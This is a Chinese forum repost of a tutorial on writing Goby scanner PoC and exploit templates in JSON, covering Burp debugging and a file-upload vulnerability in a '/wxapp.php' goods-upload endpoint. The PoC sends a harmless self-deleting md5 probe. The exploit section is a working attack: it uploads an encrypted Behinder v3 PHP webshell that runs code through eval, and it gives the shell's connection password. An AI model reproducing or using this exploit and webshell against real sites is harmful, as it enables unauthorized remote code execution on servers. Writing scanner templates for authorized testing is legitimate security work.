安全矩阵

 找回密码
 立即注册
搜索
查看: 2475|回复: 0

Json 编写 PoC&EXP 遇到的那些坑

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-6-2 14:57:44 | 显示全部楼层 |阅读模式

原创 HuaiNian GobySec 昨天




Goby社区第14 篇技术分享文章
全文共:5914 字   预计阅读时间:15 分钟

前言:这几天师傅们都在提交 Goby 的 EXP,赶鸭子上架,一边研究一边写,也写出来几个,编写过程中遇到了很多问题,都记录了下来。这篇文章主要讲一些遇到过的坑及调试的问题,再通过一个文件上传类 PoC/EXP 来详细讲解。因为我也是刚刚学习编写,如果文章中的说法有什么问题请师傅们及时指出。我使用的版本是 goby-win-x64-1.8.275,PoC 使用 json 编写。

01
一些调试遇到的问题
1.1 通过 Burp 代理获取 Goby 流量进行调试
在扫描设置中设置 Burp 的代理。

在设置完代理后最好重启一下,之后点击新建扫描->开始

Burp中就可以抓到包了。

注意:设置代理后有个小问题,就是开始扫描后抓不到POC验证的流量,主要是因为开启扫描后 Goby 先进行端口、协议和资产的识别,再进行漏洞探测。所以这里扫描的话建议设置Burp 为 Intercept is off ,因为本身我们需要抓取的是 PoC 的流量,这里扫描的流量就看个人需求了。(这里测试的只是Burp的代理,我用的版本是1.6的,至于其他的代理或者Burp版本还未测试)
扫描结果如下图所示:

这时候要看 PoC 的流量在修改 PoC 中有一个单 ip 扫描,这里可以抓到 PoC 的流量

可以看到已经拦截到流量了

注意:这里也有个小问题,就是如果在 PoC 管理中测试,必须先新建立扫描任务扫完后再去 PoC 管理中测试,Burp 才可以抓到包。
还有个小技巧,通常修改完 PoC 后需要重启一下 Goby,如果想要快速调试PoC包并观察流量,修改完后可以点击返回到 PoC 管理页面再点击进来.

可以看到流量中明显变化了。


1.2 识别规则并调用 PoC
经过测试发现 Goby 的 PoC 调用规则是先通过 PoC 写的查询规则去查询,如果查询到才会调用 PoC 进行扫描,否则就算你勾选了 PoC 也不会进行调用。具体得查询规则可以查看 Goby 查询语法

这里就可以发现有时候通过 PoC 管理手动测试的漏洞可以验证成功,而通过扫描的地址无法检测到存在漏洞。
注意:有时候一些 CMS 需要自己定义一些规则,比如 body="this is test" || title="管理登录"之类的,有时候会发现直接扫描域名无法匹配到其规则,如果扫描IP则会匹配到。

02
编写文件上传类PoC及EXP
接下来通过一个文件上传类的 PoC/EXP 来讲解一下编写过程中遇到的问题。文件上传的 PoC 规则是需要上传一个输出特定信息并且自删除的脚本。如:

  1. <?php echo md5(233);unlink(__FILE__);?>
复制代码


这样的话我们需要在 PoC 处发送两次请求,第一次进行上传文件操作,第二次对上传的文件进行访问并验证,在访问之后这个文件会自动删除。
下面贴出请求代码,讲解我通过代码块写出。​​​​​​​
  1. <pre><code>"ScanSteps": [</code></pre><pre><code>    "AND",</code></pre><pre><code>    {</code></pre><pre><code>      "Request": {</code></pre><pre><code>        "method": "POST",</code></pre><pre><code>        "uri": "/wxapp.php?controller=Goods.doPageUpload",</code></pre><pre><code>        "follow_redirect": false,</code><code>        //header头的设置,这里最好还是通过Burp抓包把请求头写入防止请求出错</code></pre><pre><code>        "header": {</code></pre><pre><code>          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",</code></pre><pre><code>          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",</code></pre><pre><code>          "Accept-Encoding": "gzip, deflate, br",</code></pre><pre><code>          "Connection": "keep-alive",</code></pre><pre><code>          "Upgrade-Insecure-Requests": "1",</code></pre><pre><code>          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs"</code></pre><pre><code>        },</code></pre><pre><code>        "data_type": "text",</code>        //post数据可以从Burp中直接复制,通过Goby的图形化界面直接复制进去,这里会自动生成</pre><pre><code>        "data": "\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name="upfile"; filename="test.php"\nContent-Type: image/gif\n\n<?php echo md5(233);unlink(__FILE__);?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs--"</code></pre><pre><code>      },</code></pre><pre><code>      "ResponseTest": {</code></pre><pre><code>        "type": "group",</code></pre><pre><code>        "operation": "AND",</code></pre><pre><code>        "checks": [</code></pre><pre><code>          {</code></pre><pre><code>            "type": "item",</code></pre><pre><code>            "variable": "$code",</code></pre><pre><code>            "operation": "==",</code></pre><pre><code>            "value": "200",</code></pre><pre><code>            "bz": ""</code></pre><pre><code>          },</code></pre><pre><code>          {</code></pre><pre><code>            "type": "item",</code></pre><pre><code>            "variable": "$body",</code></pre><pre><code>            "operation": "contains",</code></pre><pre><code>            "value": "image_o",</code></pre><pre><code>            "bz": ""</code></pre><pre><code>          }</code></pre><pre><code>        ]</code></pre><pre><code>      },</code></pre><pre><code>      "SetVariable": [</code></pre><pre><code>        //这里需要设置两个变量,通过正则匹配返回,为上传文件的路径</code></pre><pre><code>        "urlDir|lastbody|regex|image_o":".*goods\\\\/(.*?)\\\\/.*"",</code></pre><pre><code>        "urlDir2|lastbody|regex|image_o":".*goods\\\\/.*\\\\/(.*?)""</code></pre><pre><code>      ]</code></pre><pre><code>    },</code></pre><pre><code>    {</code></pre><pre><code>      "Request": {</code></pre><pre><code>        "method": "GET",</code><code>        //这里调用上面的两个变量去发送GET请求</code></pre><pre><code>        "uri": "/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}",</code></pre><pre><code>        "follow_redirect": false,</code></pre><pre><code>        "header": {</code></pre><pre><code>          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",</code></pre><pre><code>          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",</code></pre><pre><code>          "Accept-Encoding": "gzip, deflate, br",</code></pre><pre><code>          "Connection": "keep-alive",</code></pre><pre><code>          "Upgrade-Insecure-Requests": "1"</code></pre><pre><code>        },</code></pre><pre><code>        "data_type": "text",</code></pre><pre><code>        "data": ""</code></pre><pre><code>      },</code></pre><pre><code>      "ResponseTest": {</code></pre><pre><code>        "type": "group",</code></pre><pre><code>        "operation": "AND",</code></pre><pre><code>        "checks": [</code></pre><pre><code>          {</code></pre><pre><code>            "type": "item",</code></pre><pre><code>            "variable": "$code",</code></pre><pre><code>            "operation": "==",</code></pre><pre><code>            "value": "200",</code></pre><pre><code>            "bz": ""</code></pre><pre><code>          },</code></pre><pre><code>          {</code></pre><pre><code>            "type": "item",</code></pre><pre><code>            "variable": "$body",</code></pre><pre><code>            "operation": "contains",</code></pre><pre><code>            "value": "e165421110ba03099a1c0393373c5b43",//判断页面是否有该md5值</code></pre><pre><code>            "bz": ""</code></pre><pre><code>          }</code></pre><pre><code>        ]</code></pre><pre><code>      },</code></pre><pre><code>      "SetVariable": []</code></pre><pre><code>    }</code></pre><pre><code>  ],</code></pre><p></p>
复制代码

这里需要说一下下面的两句正则​​​​​​​
  1. <code>"urlDir|lastbody|regex|image_o":".*goods\\\\/(.*?)\\\\/.*"",</code>
复制代码

因为输出的文件地址是 \/\/Uploads\/image\/goods\/2021-05-27\/0206254881620132.php 这样子的
如果写成这样

直接调用发送 GET 请求为 %5C/image%5C/goods%5C/2021-05-27%5C/0206254881620132.php

这种请求会返回404

所以必须将 \ 去掉,已知文件的路径除了最后的上传日期和文件名在变化,其他不变,所以前面路径可以写死,通过正则取到日期和文件名进行组合请求。
注意:如果使用 json 编写,\ 这里必须通过两个 \\ 匹配,否则匹配不到
"urlDir|lastbody|regex|image_o\":\".*goods\\\\/(.*?)\\\\/.*\"" 取出日期,结果为 2021-05-27
"urlDir2|lastbody|regex|image_o\":\".*goods\\\\/.*\\\\/(.*?)\"" 取出文件名 结果为 0206254881620132.php
然后通过 "uri": "/Uploads/image/goods/{{{urlDir}}}/{{{urlDir2}}}" 请求则返回成功

PoC 部分写完,接下来看 EXP 部分就比较简单了,​​​​​​​
  1. <pre><code>"ExploitSteps": [</code><code>    </code></pre><pre><code>"AND",</code><code>    </code></pre><pre><code>{</code><code>      </code></pre><pre><code>"Request": {</code></pre><pre><code>        "method": "POST",</code></pre><pre><code>        "uri": "/wxapp.php?controller=Goods.doPageUpload",</code></pre><pre><code>        "follow_redirect": false,</code></pre><pre><code>        "header": {</code></pre><pre><code>          "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",</code></pre><pre><code>          "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",</code></pre><pre><code>          "Accept-Encoding": "gzip, deflate, br",</code></pre><pre><code>          "Connection": "keep-alive",</code></pre><pre><code>          "Upgrade-Insecure-Requests": "1",</code></pre><pre><code>          "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs"</code></pre><pre><code>        },</code></pre><pre><code>        "data_type": "text",</code></pre><pre><code>        "data": "\n------WebKitFormBoundary8UaANmWAgM4BqBSs\nContent-Disposition: form-data; name="upfile";</code><code>filename="shell.php"\nContent-Type: image/gif\n\n<?php\n@error_reporting(0);session_start();$key="e45e329feb5d925b";$_SESSION['k']=$key;$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15];}}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __invoke($p) {eval($p."");}}@call_user_func(new C(),$params);\n?>\n\n------WebKitFormBoundary8UaANmWAgM4BqBSs--"</code><code>      },</code></pre><pre><code>      "ResponseTest": {</code></pre><pre><code>        "type": "group",</code></pre><pre><code>        "operation": "AND",</code></pre><pre><code>        "checks": [</code></pre><pre><code>          {</code></pre><pre><code>            "type": "item",</code></pre><pre><code>            "variable": "$code",</code></pre><pre><code>            "operation": "==",</code></pre><pre><code>            "value": "200",</code></pre><pre><code>            "bz": ""</code></pre><pre><code>          },</code></pre><pre><code>          {</code></pre><pre><code>            "type": "item",</code></pre><pre><code>            "variable": "$body",</code></pre><pre><code>            "operation": "contains",</code></pre><pre><code>            "value": "image_o",</code></pre><pre><code>            "bz": ""</code></pre><pre><code>          }</code></pre><pre><code>        ]</code></pre><pre><code>      },</code></pre><pre><code>      "SetVariable": [</code></pre><pre><code>        "output|lastbody|regex|image_o":"(.*?)""</code></pre><pre><code>      ]</code></pre><pre><code>    }</code></pre><pre><code>  ],</code></pre><p></p>
复制代码

直接上传 shell,这里的 data 数据还是通过 Burp 直接复制即可,通过 Goby 的图形化界面复制进去会自动生成换行符之类的,Exploit 部分可以先将数据通过 PoC 部分的图形化界面生成再复制进下面 Exploit 的 json 中。​下方为测试截图

这里因为需要输出 shell 地址和连接方式,并且要去掉 \,这样的话就需要变量或者字符串拼接... 一直没测试成功,就通过 expParams 设置了一下显示信息...​​​​​​​
  1. <pre><code>"ExpParams": [</code><code>   </code></pre><pre><code> {</code><code>      "name": "webshellinfo",</code></pre><pre><code>      "</code><code>type": "textarea",</code></pre><pre><code>      "value": "Using Behinder_v3.0 connection, password is rebeyond",</code></pre><pre><code>      "show": ""</code><code>    }</code><code>  </code></pre><pre><code>],</code></pre><p></p>
复制代码

但是这样是不合规的 - -,因为 ExpParams 不是当做输出信息来用的,而是为了给 EXP 传参用的。最后问了 Goby 的师傅说目前使用 json 编写要想在 output 处实现这样的需求是不行的,想要实现的话只能使用 go 来编写了。
03
总结
-.- 编写过程中还是遇到了很多问题,大部分算是解决了,当然一些需求还是需要用 go 写,希望能帮助还不会 go 语言的小伙伴们通过 json 去编写 PoC/EXP。最后感谢师傅们的指导~~~

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 07:38 , Processed in 0.022117 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表